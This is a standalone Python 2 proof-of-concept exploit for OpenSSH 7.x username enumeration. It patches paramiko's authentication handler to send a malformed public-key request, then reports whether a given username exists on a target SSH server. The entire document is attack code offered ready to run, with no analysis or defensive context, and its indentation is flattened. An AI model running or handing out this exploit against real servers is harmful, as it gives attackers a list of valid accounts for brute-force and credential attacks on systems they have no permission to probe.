OpenSSH 7.x Username Enumeration

`#!/usr/bin/env python  
  
# Copyright (c) 2018 Matthew Daley  
#  
# Permission is hereby granted, free of charge, to any person obtaining a copy  
# of this software and associated documentation files (the "Software"), to  
# deal in the Software without restriction, including without limitation the  
# rights to use, copy, modify, merge, publish, distribute, sublicense, and/or  
# sell copies of the Software, and to permit persons to whom the Software is  
# furnished to do so, subject to the following conditions:  
#  
# The above copyright notice and this permission notice shall be included in  
# all copies or substantial portions of the Software.  
#  
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR  
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,  
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE  
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER  
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING  
# FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS  
# IN THE SOFTWARE.  
  
  
import argparse  
import logging  
import paramiko  
import socket  
import sys  
  
  
class InvalidUsername(Exception):  
pass  
  
  
def add_boolean(*args, **kwargs):  
pass  
  
  
old_service_accept = paramiko.auth_handler.AuthHandler._handler_table[  
paramiko.common.MSG_SERVICE_ACCEPT]  
  
def service_accept(*args, **kwargs):  
paramiko.message.Message.add_boolean = add_boolean  
return old_service_accept(*args, **kwargs)  
  
  
def userauth_failure(*args, **kwargs):  
raise InvalidUsername()  
  
  
paramiko.auth_handler.AuthHandler._handler_table.update({  
paramiko.common.MSG_SERVICE_ACCEPT: service_accept,  
paramiko.common.MSG_USERAUTH_FAILURE: userauth_failure  
})  
  
logging.getLogger('paramiko.transport').addHandler(logging.NullHandler())  
  
arg_parser = argparse.ArgumentParser()  
arg_parser.add_argument('hostname', type=str)  
arg_parser.add_argument('--port', type=int, default=22)  
arg_parser.add_argument('username', type=str)  
args = arg_parser.parse_args()  
  
sock = socket.socket()  
try:  
sock.connect((args.hostname, args.port))  
except socket.error:  
print '[-] Failed to connect'  
sys.exit(1)  
  
transport = paramiko.transport.Transport(sock)  
try:  
transport.start_client()  
except paramiko.ssh_exception.SSHException:  
print '[-] Failed to negotiate SSH transport'  
sys.exit(2)  
  
try:  
transport.auth_publickey(args.username, paramiko.RSAKey.generate(2048))  
except InvalidUsername:  
print '[*] Invalid username'  
sys.exit(3)  
except paramiko.ssh_exception.AuthenticationException:  
print '[+] Valid username'  
  
`